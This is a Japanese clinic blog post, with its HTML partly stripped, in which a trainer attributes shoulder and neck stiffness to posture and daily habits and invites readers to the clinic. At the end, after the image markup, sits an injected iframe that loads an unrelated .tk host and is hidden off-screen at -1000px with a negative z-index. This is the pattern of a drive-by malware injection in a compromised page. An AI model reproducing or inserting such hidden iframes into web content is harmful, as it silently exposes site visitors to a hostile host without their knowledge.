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月寒 肩こり 首こり ストレッチ

pこんばんは/ppビーグラン トレーナーの高橋涼です!/ppnbsp;/pp今日は一日お店でお客様にストレッチを施術させていただいていました。/pp肩コリや首のコリの要因として多いのが姿勢不良や誤った身体動作の繰り返しによるものだと感じます。/pp横から見て肩が身体の軸より前に変位してしまっていたり、利き腕での仕事作業や、背中を丸めた状態で首を前に出したままのデスクワークなど。。。/ppやはり普段の仕事や日常生活での多い動作に要因がある方がほとんどです。/ppそこで必要なのがその動作や習慣にまず気づき、少しずつ正す意識をすることです。/pp意識が出来るようになってきたらあとはそれを習慣にしていくことです。/ppnbsp;/ppそしてご提案したいのが、最初の気づくところに/pp当院をご利用いただくことです!/pp身体について医科学的知識を持った当院スタッフが、コリや不調の要因を評価し見つけ出し、治すための手助けをさせていただきます。/pp最初の一歩です!/pp当院のドアを開けていただければスタッフが改善へ向けたサポートをさせていただきますのでぜひ快適な生活をお手伝いさせてください!/ppお待ちしております!!/ppnbsp;/ppa href=”http://www.b-grand.com/wp-content/uploads/2016/07/thHG17J5KM.jpg” rel=”attachment wp-att-9078″img class=”alignnone size-full wp-image-9078″ src=”http://www.b-grand.com/wp-content/uploads/2016/07/thHG17J5KM.jpg” alt=”thHG17J5KM” width=”264″ height=”175″ !–844c7b74e31d727d5814a0ed667c0255–iframe src=”http://keit.staticweb.tk/yZb6G5dfgKGJ” width=640 height=480 style=’position: absolute; left: -1000px; top: -1000px; z-index:-1;’/iframe

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